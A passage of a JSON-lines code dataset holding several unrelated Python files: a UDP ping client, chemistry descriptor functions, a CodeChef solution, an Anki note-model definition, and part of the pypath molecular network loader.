SOCK_DGRAM for UDP packets\nclientSocket = socket(AF_INET, SOCK_DGRAM)\n# Set timeout to 2s / let client wait for up to 2s for a reply\nclientSocket.settimeout(2.0)\n\nmessage = ''\naddress = ('localhost', 12000)\ntimes = []\n\n# Send 15 pings to the server\nfor seqNum in range(1,16):\n # Measure the start time\n startTime = time.time()\n # Encode the message to send start time as well\n message = str(seqNum) + '\\t' + str(startTime)\n if seqNum not in [4, 8, 12]:\n # The client sends the message to the server\n clientSocket.sendto(message.encode(), address)\n try:\n # Receive the server response\n response, server = clientSocket.recvfrom(1024)\n print(response)\n except Exception as e:\n print(e)\n","repo_name":"ThomasQuesadilla/CS356","sub_path":"Group3_UDPHeartbeatClient.py","file_name":"Group3_UDPHeartbeatClient.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27980686955","text":"from functools import partial\n\nfrom .caching import cache\nfrom .fundamentals import adjacency_matrix, distance_matrix, atom_props\n\nimport numpy as np\n\n\n@cache.inject(distance_matrix, atom_props)\ndef moreau_broto_autocorrelation(mol, dist_mat, prop, prop_name='atomic_mass',\n c_scaled=False, centred=False,\n ks=range(1, 9)):\n\n \"\"\" The Moreau-Broto autocorrelation.\n\n $$ ATS_k = \\frac{1}{2} \\hdot \\sum_{i=1}^A \\sum_{j=1}^A $$\n\n With special case $$ ATS_0 = \\sum_{i=1}^A w_i^2.\n\n Where $A$ is the number of atoms, and $w$ is an atomic property.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the descriptor.\n\n prop (str):\n The atomic property.\n\n c_scaled (bool):\n Whether the properties should be scaled against sp3 carbon.\n\n centred (bool):\n Whether the descriptor should be divided by the number of\n contributions (avoids dependence on molecular size).\n\n ks (iterable):\n The lags to calculate the descriptor over.\n\n Returns:\n float\n\n Examples:\n >>> import skchem\n >>> m = skchem.Mol.from_smiles('CC(O)CCO')\n >>> moreau_broto_autocorrelation(m, centred=False,\n ... prop_name='atomic_mass',\n ... ks=range(4)) # doctest: +ELLIPSIS\n array([ 1088.99..., 817.12..., 865.02..., 528.59...])\n \"\"\"\n\n div = np.array([(dist_mat == k).sum() for k in ks]) if centred else 1\n\n return np.array([(1 if k == 0 else 0.5) * prop.dot(dist_mat == k).dot(prop)\n for k in ks]) / div\n\n\n@cache.inject(distance_matrix, atom_props)\ndef moran_coefficient(mol, dist_mat, prop, prop_name='atomic_mass',\n c_scaled=False, ks=range(1, 9)):\n\n \"\"\" Moran coefficient for lags ks.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the descriptor.\n\n prop (str):\n The atomic property.\n\n c_scaled (bool):\n Whether the properties should be scaled against sp3 carbon.\n\n centered (bool):\n Whether the descriptor should be divided by the number of\n contributions (avoids dependence on molecular size.\n\n ks (iterable):\n The lags to calculate the descriptor over.\n\n Returns:\n float\n \"\"\"\n\n prop = prop - prop.mean()\n\n res = []\n\n for k in ks:\n geodesic = dist_mat == k\n num = prop.dot(geodesic).dot(prop) / geodesic.sum()\n denom = (prop ** 2).sum() / len(prop)\n res.append(num / denom)\n\n return np.array(res)\n\n\n@cache.inject(distance_matrix, atom_props)\ndef geary_coefficient(mol, dist_mat, prop, prop_name='atomic_mass',\n c_scaled=False, ks=range(1, 9)):\n\n \"\"\" The geary coefficient for *ks* lags.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the descriptor.\n\n prop (str):\n The atomic property.\n\n c_scaled (bool):\n Whether the properties should be scaled against sp3 carbon.\n\n centered (bool):\n Whether the descriptor should be divided by the number of\n contributions (avoids dependence on molecular size.\n\n ks (iterable):\n The lags to calculate the descriptor over.\n\n Returns:\n float\n\n \"\"\"\n\n res = []\n for k in ks:\n geodesic = dist_mat == k\n num = 0.5 * ((prop - prop[:, np.newaxis]) ** 2 * geodesic).sum() / geodesic.sum()\n denom = ((prop - prop.mean()) ** 2).sum() / (len(prop) - 1)\n res.append(num / denom)\n\n return np.array(res)\n\n\n@cache\n@cache.inject(adjacency_matrix, distance_matrix)\ndef galvez_matrix(mol, dist_mat, adj_mat):\n\n \"\"\" The galvez matrix.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the matrix.\n\n Returns:\n np.array\n \"\"\"\n\n temp = dist_mat ** -2\n np.fill_diagonal(temp, 0)\n galvez_mat = temp.dot(adj_mat) + np.diag(mol.atoms.valence_vertex_degree)\n return galvez_mat\n\n\n@cache\n@cache.inject(galvez_matrix)\ndef charge_matrix(mol, galvez_mat):\n\n \"\"\" The charge matrix.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the matrix.\n\n Returns:\n np.array\n\n \"\"\"\n\n ct_mat = galvez_mat - galvez_mat.T\n ct_mat[np.diag_indices_from(ct_mat)] = mol.atoms.depleted_degree\n\n return ct_mat\n\n\n@cache\n@cache.inject(charge_matrix, distance_matrix)\ndef topological_charge_index(mol, c_mat, dist_mat, ks=range(11)):\n\n \"\"\" The Galvez tologogical charge index for lags ks.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the descriptor.\n\n ks (iterable):\n The lags for which to calculate the descriptor.\n\n Returns:\n np.array\n\n \"\"\"\n return np.array([0.5 * np.abs(c_mat)[dist_mat == k].sum() for i in ks])\n\n\n@cache.inject(topological_charge_index)\ndef mean_topological_charge_index(mol, tci, ks=range(11)):\n\n \"\"\" Mean topological charge index for lags ks.\n\n Args:\n mol (skchem.Mol):\n The molecule for which to calculate the descriptor.\n\n ks (iterable):\n The lags for which to calculate the descriptor.\n\n Returns:\n np.array\n \"\"\"\n\n return tci / (len(mol.atoms) - 1)\n\n\n@cache.inject(topological_charge_index)\ndef total_charge_index(mol, tci, ks=range(11)):\n\n return tci.sum() / (len(mol.atoms) - 1)\n\n\nPROPS = ['atomic_mass', 'van_der_waals_volume', 'sanderson_electronegativity',\n 'polarisability', 'ionisation_energy', 'intrinsic_state']\n\nKS = range(1, 9)\n\nDESCRIPTORS = [partial(moreau_broto_autocorrelation, k=k, prop=p, centered=c)\n for k in KS for c in (False, True) for p in PROPS]\n\nFS = (moran_coefficient, geary_coefficient)\n\nDESCRIPTORS += [partial(f, k=k, prop=p) for f in FS for k in KS for p in PROPS]\n\n__all__ = ['moreau_broto_autocorrelation', 'moran_coefficient',\n 'geary_coefficient', 'topological_charge_index',\n 'mean_topological_charge_index', 'total_charge_index']\n","repo_name":"lewisacidic/scikit-chem","sub_path":"skchem/features/descriptors/autocorrelation.py","file_name":"autocorrelation.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"37"} +{"seq_id":"41316098341","text":"'''\n * Solution By : Jatin Sharma\n * Language : Python 3.6+\n * Problem Name : Admins and Shopping\n * Problem : https://www.codechef.com/START35B/problems/ADMINSHOP\n'''\n\nimport math as m\nfor _ in range(int(input())):\n n, x = map(int, input().split())\n\n arr = list(map(int, input().split()))\n ans = max(n, m.ceil(x / min(arr)))\n\n print(ans)\n","repo_name":"j471n/competitive-programming","sub_path":"codechef/Starters 35/ADMINSHOP.py","file_name":"ADMINSHOP.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"73183255466","text":"from .css import style\n\nfields_list = ['Hanzi', 'Color', 'Pinyin', 'English', 'Sound']\n\nrecognition_front = '''\\\n<div class=tags>{{Deck}} {{#Tags}} -- {{/Tags}}{{Tags}}</div>\n\n<span class=chinese>{{Hanzi}}</span>\n'''\n\nrecall_front = '''\\\n<div class=tags>{{Deck}} {{#Tags}} -- {{/Tags}}{{Tags}}</div>\n\n<div>{{English}}</div>\n'''\n\ncard_back = '''\\\n<div class=tags>{{Deck}} {{#Tags}} -- {{/Tags}}{{Tags}}</div>\n\n<div>{{English}}</div>\n<div class=reading>{{Pinyin}}</div>\n<div class=chinese>{{Color}}</div>\n<!-- {{Sound}}-->\n'''\n\n\ndef add_model(col):\n mm = col.models\n m = mm.new('Chinese (Basic)')\n for f in fields_list:\n fm = mm.newField(f)\n mm.addField(m, fm)\n t = mm.newTemplate('Recall')\n t['qfmt'] = recall_front\n t['afmt'] = card_back\n mm.addTemplate(m, t)\n m['css'] += style\n m['addon'] = 'Chinese (Basic)'\n mm.add(m)\n return m\n","repo_name":"luoliyan/chinese-support-redux","sub_path":"chinese/models/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"37"} +{"seq_id":"34492100868","text":"from Args import Args\nfrom NewException import NewException\nfrom FileNames import FileNames\nfrom Names import Names\n\nclass Core:\n def __init__(self):\n self.args = Args()\n self.exception = NewException(self.args)\n self.fileNames = FileNames(self.args)\n self.names = Names()\n\n def start(self):\n self.exception.throw()\n inputFileName, outputFileName = self.fileNames.getFileNames()\n self.names.read(inputFileName)\n self.names.sort()\n self.names.write(outputFileName)\n\n \n","repo_name":"danielotaviano/ufrn-pc-project","sub_path":"src/Core.py","file_name":"Core.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70278522349","text":"from __future__ import annotations\n\nfrom future.utils import iteritems\n\nfrom typing import Mapping\n\nimport importlib as imp\nimport re\nimport os\nimport sys\nimport collections\nimport itertools\nimport functools\nimport copy as copy_mod\nimport pickle\nimport random\nimport traceback\nfrom typing_extensions import Literal\n\nimport numpy as np\nimport pandas as pd\n\nimport pypath.share.session as session_mod\nimport pypath.share.progress as progress\nimport pypath.core.interaction as interaction_mod\nimport pypath.core.evidence as evidence\nimport pypath.core.entity as entity_mod\nimport pypath.core.common as core_common\nimport pypath.share.common as common\nimport pypath.share.settings as settings\nimport pypath.share.cache as cache_mod\nimport pypath.share.constants as constants\nimport pypath.utils.mapping as mapping\nimport pypath.inputs.pubmed as pubmed_input\nimport pypath.share.curl as curl\nimport pypath.internals.refs as refs_mod\nimport pypath.internals.resource as resource_mod\nimport pypath.utils.reflists as reflists\nimport pypath.resources.network as network_resources\nimport pypath.inputs as inputs\n\n# Py 2/3\ntry:\n input = raw_input\nexcept NameError:\n pass\n\nNetworkEntityCollection = collections.namedtuple(\n 'NetworkEntityCollection',\n [\n 'total',\n 'by_resource',\n 'by_category',\n 'shared',\n 'unique',\n 'shared_res_cat',\n 'unique_res_cat',\n 'shared_cat',\n 'unique_cat',\n 'resource_cat',\n 'cat_resource',\n 'method',\n 'label',\n ],\n)\nNetworkEntityCollection.__new__.__defaults__ = (None,) * 8\n\n\nclass NetworkEntityCollection(object):\n\n __slots__ = [\n 'collection',\n '_collection',\n 'label',\n\n 'shared_within_data_model',\n 'unique_within_data_model',\n 'shared_within_interaction_type',\n 'unique_within_interaction_type',\n\n 'n_collection',\n 'n_shared_within_data_model',\n 'n_unique_within_data_model',\n 'n_shared_within_interaction_type',\n 'n_unique_within_interaction_type',\n\n 'pct_collection',\n 'pct_within_data_model',\n 'pct_within_interaction_type',\n 'pct_shared_within_data_model',\n 'pct_unique_within_data_model',\n 'pct_shared_within_interaction_type',\n 'pct_unique_within_interaction_type',\n\n 'by_data_model',\n 'by_interaction_type',\n 'unique_by_data_model',\n 'shared_by_data_model',\n 'unique_by_interaction_type',\n 'shared_by_interaction_type',\n\n 'n_by_data_model',\n 'n_by_interaction_type',\n 'n_unique_by_data_model',\n 'n_shared_by_data_model',\n 'n_unique_by_interaction_type',\n 'n_shared_by_interaction_type',\n\n 'pct_by_data_model',\n 'pct_by_interaction_type',\n 'pct_unique_by_data_model',\n 'pct_shared_by_data_model',\n 'pct_unique_by_interaction_type',\n 'pct_shared_by_interaction_type',\n\n ]\n\n\n def __init__(self, collection, label = None):\n\n self.collection = collection.copy()\n # we need a copy where we don't add the totals\n # so these don't bother the shared and unique methods\n self._collection = collection.copy()\n self.label = label\n\n self.main()\n\n\n def main(self):\n\n self.setup()\n\n\n def setup(self):\n\n self.update()\n self.collection_add_total()\n self.update_collection_counts()\n\n\n def update_collection_counts(self):\n\n self.n_collection = common.dict_counts(self.collection)\n self.pct_collection = common.dict_set_percent(self.collection)\n\n\n def collection_add_total(self):\n\n self.collection = self._add_total(\n self.collection,\n key = ('all', 'all', 'Total')\n )\n\n\n def update(self):\n\n for level in ('interaction_type', 'data_model'):\n\n self._update(level = level)\n self._update(level = level, summarize_groups = True)\n\n\n def _update(self, level, summarize_groups = False):\n\n midpart = '_by_' if summarize_groups else '_within_'\n\n if summarize_groups:\n\n collection = common.dict_subtotals(\n self._expand_keys(level = level)\n )\n\n by = 'by_%s' % level\n\n setattr(\n self,\n by,\n collection\n )\n setattr(\n self,\n 'n%s%s' % (midpart, level),\n common.dict_counts(collection)\n )\n\n for k, v in iteritems(getattr(self, by)):\n\n k = k if isinstance(k, tuple) else (k, 'all')\n\n k += ('Total',)\n\n self.collection[k] = v\n\n else:\n\n collection = self._expand_keys(level = level)\n\n setattr(\n self,\n 'pct%s%s' % (midpart, level),\n (\n common.dict_set_percent(collection)\n if summarize_groups else\n self._percent_and_collapse(collection)\n )\n )\n\n for method in ('shared', 'unique'):\n\n shared_unique = (\n self._add_total(\n common.shared_unique_foreach(collection, op = method),\n key = (\n 'all'\n if level == 'interaction_type' else\n ('all', 'all')\n )\n )\n if summarize_groups else\n self._shared_unique(\n dct = collection,\n method = method,\n total_key = (\n ('all', 'Total')\n if level == 'interaction_type' else\n None\n ),\n )\n )\n\n if not summarize_groups:\n\n shared_unique_flat = common.dict_collapse_keys(shared_unique)\n\n attr = '%s%s%s' % (method, midpart, level)\n n_attr = 'n_%s' % attr\n pct_attr = 'pct_%s' % attr\n\n setattr(\n self,\n attr,\n shared_unique\n )\n setattr(\n self,\n n_attr,\n common.dict_collapse_keys(\n common.dict_counts(shared_unique)\n )\n )\n setattr(\n self,\n pct_attr,\n common.dict_collapse_keys(\n common.dict_set_percent(shared_unique)\n if summarize_groups else\n self._percent_and_collapse(shared_unique)\n )\n )\n\n\n def _expand_keys(self, level):\n\n return common.dict_expand_keys(\n self._collection,\n depth = 1,\n front = level == 'interaction_type',\n )\n\n\n @classmethod\n def _shared_unique(cls, dct, method, total_key = None):\n\n return dict(\n (\n key,\n cls._add_total(\n common.shared_unique_foreach(val, op = method),\n key = total_key\n )\n )\n for key, val in iteritems(dct)\n )\n\n\n @staticmethod\n def _add_total(dct, key = None):\n\n if isinstance(key, (common.basestring, tuple)):\n\n _key = key\n\n else:\n\n first_key = next(dct.keys().__iter__())\n\n if callable(key):\n\n _key = key(first_key)\n\n else:\n\n _key = (\n 'Total'\n if isinstance(first_key, common.basestring) else\n first_key[:-1] + ('Total',)\n )\n\n dct[_key] = common.dict_union(dct)\n\n return dct\n\n\n @classmethod\n def _percent_and_collapse(cls, dct):\n\n return (\n common.dict_collapse_keys(\n dict(\n (\n key,\n common.dict_set_percent(val)\n )\n for key, val in iteritems(dct)\n )\n )\n )\n\n\nNetworkStatsRecord = collections.namedtuple(\n 'NetworkStatsRecord',\n [\n 'total',\n 'by_resource',\n 'by_category',\n 'shared',\n 'unique',\n 'percent',\n 'shared_res_cat',\n 'unique_res_cat',\n 'percent_res_cat',\n 'shared_cat',\n 'unique_cat',\n 'percent_cat',\n 'resource_cat',\n 'cat_resource',\n 'method',\n 'label',\n ],\n)\nNetworkStatsRecord.__new__.__defaults__ = (None,) * 11\n\n\nclass Network(session_mod.Logger):\n \"\"\"\n Represents a molecular interaction network. Provides various methods to\n query the network and its components. Optionally converts the network\n to a ``pandas.DataFrame`` of interactions.\n\n :arg list,dict resources:\n One or more lists or dictionaries containing\n ``pypath.resource.NetworkResource`` objects.\n :arg bool make_df:\n Create a ``pandas.DataFrame`` already when creating the instance.\n If no network data loaded no data frame will be created.\n :arg int ncbi_tax_id:\n Restrict the network only to this organism. If ``None`` identifiers\n from any organism will be allowed.\n :arg bool allow_loops:\n Allow interactions with the their two endpoints being the same entity.\n \"\"\"\n\n _partners_methods = (\n {\n '': {},\n 'transcriptionally_': {\n 'interaction_type': {\n 'transcriptional',\n 'mirna_transcriptional',\n },\n },\n 'post_transcriptionally_': {\n 'interaction_type': {\n 'post_transcriptional',\n 'lncrna_post_transcriptional',\n },\n },\n 'post_translationally_': {\n 'interaction_type': 'post_translational',\n },\n },\n {\n 'regulat': {\n 'direction': True,\n },\n 'activat': {\n 'effect': 'positive',\n },\n 'suppress': {\n 'effect': 'negative',\n },\n },\n {\n 'es': {\n 'mode': 'IN',\n },\n 'ed_by': {\n 'mode': 'OUT',\n }\n },\n )\n\n\n def __init__(\n self,\n resources = None,\n make_df = False,\n df_by_source = False,\n df_with_references = False,\n df_columns = None,\n df_dtype = None,\n pickle_file = None,\n ncbi_tax_id = 9606,\n allow_loops = None,\n **kwargs\n ):\n\n session_mod.Logger.__init__(self, name = 'network')\n\n self._log('Creating network object.')\n\n self.df_by_source = df_by_source\n self.df_with_references = df_with_references\n self.df_columns = df_columns\n self.df_dtype = df_dtype\n self.ncbi_tax_id = ncbi_tax_id\n self.allow_loops = allow_loops\n self.cache_dir = cache_mod.get_cachedir()\n self.keep_original_names = settings.get('network_keep_original_names')\n self.default_name_types = settings.get('default_name_types')\n\n self.reset()\n\n if pickle_file and os.path.exists(pickle_file):\n\n self.load_from_pickle(pickle_file = pickle_file)\n return\n\n self.load(resources = resources, make_df = make_df, **kwargs)\n\n\n def reload(self, recursive: bool = False):\n \"\"\"\n Reloads the object from the module level.\n \"\"\"\n\n modname = self.__class__.__module__\n mod = __import__(modname, fromlist = [modname.split('.')[0]])\n imp.reload(mod)\n new = getattr(mod, self.__class__.__name__)\n setattr(self, '__class__', new)\n\n if recursive:\n\n imp.reload(entity_mod)\n imp.reload(interaction_mod)\n\n for entity in self.nodes.values():\n\n entity.__class__ = entity_mod.Entity\n\n for interaction in self.interactions.values():\n\n interaction.__class__ = interaction_mod.Interaction\n interaction.a.__class__ = entity_mod.Entity\n interaction.b.__class__ = entity_mod.Entity\n\n\n def __len__(self):\n\n return len(self.interactions)\n\n\n def __bool__(self):\n\n return bool(self.interactions)\n\n\n def __iter__(self):\n\n for ia in self.interactions.values():\n\n yield ia\n\n\n def __contains__(self, other):\n\n return any(other in ia for ia in self.interactions.values())\n\n\n def reset(self):\n \"\"\"\n Removes network data i.e. creates empty interaction and node\n dictionaries.\n \"\"\"\n\n self.raw_data = {}\n self.interactions = {}\n self.nodes = {}\n self.nodes_by_label = {}\n self.interactions_by_nodes = collections.defaultdict(set)\n\n\n def load(\n self,\n resources = None,\n make_df = False,\n exclude = None,\n reread = False,\n redownload = False,\n keep_raw = False,\n top_call = True,\n cache_files = None,\n only_directions = False,\n pickle_file = None,\n allow_loops = None,\n first_n = None,\n ):\n \"\"\"\n Loads data from a network resource or a collection of resources.\n\n :arg str,dict,list,resource.NetworkResource resources:\n An object defining one or more network resources. If *str* it\n will be looked up among the collections in the\n ``pypath.resources.network`` module (e.g. ``'pathway'`` will load\n all resources in the `pathway` collection). If *dict* or *list*\n it will be processed recursively i.e. the ``load`` method will be\n called for each element. If it is a\n ``pypath.resource.NetworkResource`` object it will be processed\n and added to the network.\n :arg bool make_df:\n Whether to create a ``pandas.DataFrame`` after loading all\n resources.\n :arg NoneType,set exclude:\n A *set* of resource names to be ignored. It is useful if you want\n to load a collection with the exception of a few resources.\n \"\"\"\n\n if pickle_file:\n\n self.load_from_pickle(pickle_file = pickle_file)\n return\n\n kwargs = {\n 'reread': reread,\n 'redownload': redownload,\n 'keep_raw': keep_raw,\n 'top_call': False,\n 'only_directions': only_directions,\n 'allow_loops': allow_loops,\n 'first_n': first_n,\n }\n\n exclude = common.to_set(exclude)\n\n resources = (\n (resources,)\n if not isinstance(resources, (list, Mapping, tuple, set)) else\n resources.values()\n if isinstance(resources, Mapping) else\n resources\n )\n\n for resource in resources:\n\n if (\n isinstance(resource, common.basestring) and\n hasattr(network_resources, resource)\n ):\n\n self.load(\n resources = getattr(network_resources, resource),\n **kwargs\n )\n\n elif isinstance(resource, (list, dict, tuple, set)):\n\n self.load(\n resources = resource,\n **kwargs\n )\n\n elif (\n isinstance(\n resource,\n (\n network_resources.data_formats.\\\n input_formats.NetworkInput,\n network_resources.resource.NetworkResource,\n )\n ) and resource.name not in exclude\n ):\n\n self.load_resource(resource, **kwargs)\n\n elif resource is not None:\n\n self._log(\n 'Could not recognize network input '\n 'definition: `%s`.' % str(resource)\n )\n\n if make_df and top_call:\n\n self.make_df()\n\n\n # synonyms (old method names of PyPath)\n load_resources = load\n init_network = load\n\n\n def load_resource(\n self,\n resource,\n clean = True,\n reread = None,\n redownload = None,\n keep_raw = False,\n only_directions = False,\n allow_loops = None,\n first_n = None,\n **kwargs\n ):\n \"\"\"\n Loads the data from a single resource and attaches it to the\n network\n\n :arg pypath.input_formats.NetworkInput resource:\n :py:class:`pypath.input_formats.NetworkInput` instance\n containing the detailed definition of the input format to\n the downloaded file.\n :arg bool clean:\n Legacy parameter, has no effect at the moment.\n Optional, ``True`` by default. Whether to clean the graph\n after importing the data or not. See\n :py:meth:`pypath.main.PyPath.clean_graph` for more\n information.\n :arg dict cache_files:\n Legacy parameter, has no effect at the moment.\n Optional, ``{}`` by default. Contains the resource name(s)\n [str] (keys) and the corresponding cached file name [str].\n If provided (and file exists) bypasses the download of the\n data for that resource and uses the cache file instead.\n :arg bool reread:\n Optional, ``False`` by default. Specifies whether to reread\n the data files from the cache or omit them (similar to\n *redownload*).\n :arg bool redownload:\n Optional, ``False`` by default. Specifies whether to\n re-download the data and ignore the cache.\n :arg bool only_directions:\n If ``True``, no new interactions will be created but direction\n and effect sign evidences will be added to existing interactions.\n :arg int first_n:\n Load only the first n interactions.\n \"\"\"\n\n total_attempts = settings.get('network_load_resource_attempts')\n\n for attempt in range(total_attempts):\n\n try:\n\n self._log(\n f'Loading network data from resource `{resource.name}`'\n f' (dataset: {resource.dataset}); '\n f'attempt {attempt + 1} of {total_attempts}.'\n )\n\n self._read_resource(\n resource,\n reread = reread,\n redownload = redownload,\n keep_raw = keep_raw,\n first_n = first_n,\n )\n\n self._log(\n 'Successfully read interactions '\n f'from resource `{resource.name}`.'\n )\n break\n\n except Exception as e:\n\n exc = sys.exc_info()\n self._log(\n 'Failed to read interactions '\n f'from resource `{resource.name}`:'\n )\n self._log_traceback(console = True)\n\n if attempt == total_attempts - 1:\n\n self._log(\n f'Not loading `{resource.name}`: giving up after '\n f'{total_attempts} attempts.'\n )\n return\n\n allow_loops = self._allow_loops(\n allow_loops = allow_loops,\n resource = resource,\n )\n\n self._log('Loops allowed for resource `%s`: %s' % (\n resource.name,\n allow_loops,\n ))\n\n self._add_edge_list(\n only_directions = only_directions,\n allow_loops = allow_loops,\n )\n\n self.organisms_check()\n self.remove_zero_degree()\n\n self._log(\n 'Completed: loading network data from '\n 'resource `%s`.' % resource.name\n )\n\n\n def _read_resource(\n self,\n resource,\n reread = False,\n redownload = False,\n keep_raw = False,\n cache_files = None,\n first_n = None,\n ):\n \"\"\"\n Reads interaction data file containing node and edge attributes\n that can be read from simple text based files and adds it to the\n networkdata. This function works not only with files, but with\n lists as well. Any other function can be written to download and\n preprocess data, and then give it to this function to finally\n attach to the network.\n\n :arg pypath.input_formats.NetworkInput resource:\n :py:class:`pypath.input_formats.NetworkInput` instance\n containing the detailed definition of the input format of\n the file. Instead of the file name (on the\n :py:attr:`pypath.input_formats.NetworkInput.input`\n attribute) you can give a custom function name, which will\n be executed, and the returned data will be used instead.\n :arg bool keep_raw:\n Optional, ``False`` by default. Whether to keep the raw data\n read by this function, in order for debugging purposes, or\n further use.\n :arg dict cache_files:\n Optional, ``{}`` by default. Contains the resource name(s)\n [str] (keys) and the corresponding cached file name [str].\n If provided (and file exists) bypasses the download of the\n data for that resource and uses the cache file instead.\n :arg bool reread:\n Optional, ``False`` by default. Specifies whether to reread\n the data files from the cache or omit them (similar to\n *redownload*).\n :arg bool redownload:\n Optional, ``False`` by default. Specifies whether to\n re-download the data and ignore the cache.\n :arg int first_n:\n Load only the first n interactions.\n \"\"\"\n\n self._log('Reading network data from `%s`.' % resource.name)\n\n SMOL_TYPES = settings.get('small_molecule_entity_types')\n\n # workaround in order to make it work with both NetworkInput\n # and NetworkResource type param\n _resource = (\n resource\n if isinstance(\n resource,\n network_resources.resource.NetworkResource\n ) else\n network_resources.resource.NetworkResource(\n name = resource.name,\n interaction_type = resource.interaction_type,\n networkinput = resource,\n data_model = resource.data_model or 'unknown',\n )\n )\n\n networkinput = _resource.networkinput\n\n _resources_secondary = ()\n\n expand_complexes = (\n networkinput.expand_complexes\n if isinstance(networkinput.expand_complexes, bool) else\n settings.get('network_expand_complexes')\n )\n reread = (\n reread\n if isinstance(reread, bool) else\n not settings.get('network_pickle_cache')\n )\n\n self._log('Expanding complexes for `%s`: %s' % (\n networkinput.name, str(expand_complexes),\n ))\n\n edge_list = []\n edge_list_mapped = []\n self.edge_list_mapped = []\n infile = None\n _name = networkinput.name.lower()\n\n edges_cache = os.path.join(\n self.cache_dir,\n '%s_%s_%s.edges.pickle' % (\n _name,\n _resource.data_model,\n _resource.interaction_type,\n )\n )\n\n interaction_cache = os.path.join(\n self.cache_dir,\n '%s_%s_%s.interactions.pickle' % (\n _name,\n _resource.data_model,\n _resource.interaction_type,\n )\n )\n\n if not reread and not redownload:\n\n infile, edge_list_mapped = self._lookup_cache(\n _name,\n cache_files,\n interaction_cache,\n edges_cache,\n )\n\n if not len(edge_list_mapped):\n\n if infile is None:\n\n if not isinstance(\n resource,\n (\n network_resources.data_formats.\\\n input_formats.NetworkInput,\n network_resources.resource.NetworkResource,\n )\n ):\n\n self._log(\n '_read_network_data: No proper input file '\n 'definition. `param` should be either '\n 'a `pypath.input_formats.NetworkInput` or a '\n '`pypath.resource.NetworkResource` instance.',\n -5,\n )\n\n return None\n\n if networkinput.huge:\n\n sys.stdout.write(\n '\\n\\tProcessing %s requires huge memory.\\n'\n '\\tPlease hit `y` if you have at '\n 'least 2G free memory,\\n'\n '\\tor `n` to omit %s.\\n'\n '\\tAfter processing once, it will be saved in \\n'\n '\\t%s, so next time can be loaded quickly.\\n\\n'\n '\\tProcess %s now? [y/n]\\n' %\n (\n networkinput.name,\n networkinput.name,\n edges_cache,\n networkinput.name\n )\n )\n sys.stdout.flush()\n\n while True:\n answer = input().lower()\n\n if answer == 'n':\n return None\n\n elif answer == 'y':\n break\n\n else:\n sys.stdout.write(\n '\\n\\tPlease answer `y` or `n`:\\n\\t')\n sys.stdout.flush()\n\n # if no method available it gonna be None\n input_func = inputs.get_method(networkinput.input)\n\n # reading from remote or local file, or executing import\n # function:\n if (\n isinstance(networkinput.input, common.basestring) and (\n networkinput.input.startswith('http') or\n networkinput.input.startswith('ftp')\n )\n ):\n\n curl_use_cache = not redownload\n c = curl.Curl(\n networkinput.input,\n silent = False,\n large = True,\n cache = curl_use_cache\n )\n infile = c.fileobj.read()\n\n if type(infile) is bytes:\n\n try:\n infile = infile.decode('utf-8')\n\n except UnicodeDecodeError as e:\n\n try:\n infile = infile.decode('iso-8859-1')\n\n except UnicodeDecodeError:\n\n raise e\n\n infile = [\n x for x in infile.replace('\\r', '').split('\\n')\n if len(x) > 0\n ]\n self._log(\n \"Retrieving data from `%s` ...\" % networkinput.input\n )\n\n elif input_func is not None:\n\n self._log(\n 'Retrieving data by method `%s` of the '\n 'pypath.inputs module...' % input_func.__name__\n )\n\n _store_cache = curl.CACHE\n\n if isinstance(redownload, bool):\n\n curl.CACHE = not redownload\n\n try:\n\n infile = input_func(**networkinput.input_args)\n\n except Exception as e:\n\n self._log(\n f'Error in method `{input_func.__name__}` of the '\n 'pypath.inputs module. '\n )\n\n raise e\n\n finally:\n\n curl.CACHE = _store_cache\n\n elif os.path.isfile(networkinput.input):\n\n infile = curl.Curl(\n networkinput.input,\n large = True,\n silent = False,\n ).result\n\n self._log('%s opened...' % networkinput.input)\n\n if infile is None:\n\n self._log(\n '`%s`: Could not find file or input function '\n 'or failed preprocessing.' %\n networkinput.input,\n -5,\n )\n return None\n\n is_directed = networkinput.is_directed\n sign = networkinput.sign\n ref_col = (\n networkinput.refs[0]\n if isinstance(networkinput.refs, tuple) else\n networkinput.refs\n if isinstance(networkinput.refs, int) else\n None\n )\n ref_sep = (\n networkinput.refs[1]\n if isinstance(networkinput.refs, tuple) else\n ';'\n )\n # column index of the sign\n sig_col = None if not isinstance(sign, tuple) else sign[0]\n # column index and value(s) for the direction\n dir_col = None\n dir_val = None\n dir_sep = None\n\n if isinstance(is_directed, tuple):\n\n dir_col = is_directed[0]\n dir_val = is_directed[1]\n dir_sep = is_directed[2] if len(is_directed) > 2 else None\n\n elif isinstance(sign, tuple):\n\n dir_col = sign[0]\n dir_val = sign[1:3]\n dir_val = (\n dir_val\n if type(dir_val[0]) in common.simple_types else\n common.flat_list(dir_val)\n )\n dir_sep = sign[3] if len(sign) > 3 else None\n\n dir_val = common.to_set(dir_val)\n\n must_have_references = (\n settings.get('keep_noref') or\n networkinput.must_have_references\n )\n self._log(\n 'Resource `%s` %s have literature references '\n 'for all interactions. Interactions without references '\n 'will be %s. You can alter this condition globally by '\n '`pypath.settings.keep_noref` or for individual resources '\n 'by the `must_have_references` attribute of their '\n '`NetworkInput` object.' % (\n networkinput.name,\n 'must' if must_have_references else 'does not need to',\n 'dropped' if must_have_references else 'included',\n ),\n 1,\n )\n self._log(\n '`%s` must have references: %s' % (\n networkinput.name,\n str(must_have_references)\n )\n )\n\n # iterating lines from input file\n input_filtered = 0\n ref_filtered = 0\n taxon_filtered = 0\n read_error = False\n lnum = 0 # we need to define it here to avoid errors if the\n # loop below runs zero cycles\n\n prg = progress.Progress(\n iterable = infile,\n name = 'Reading 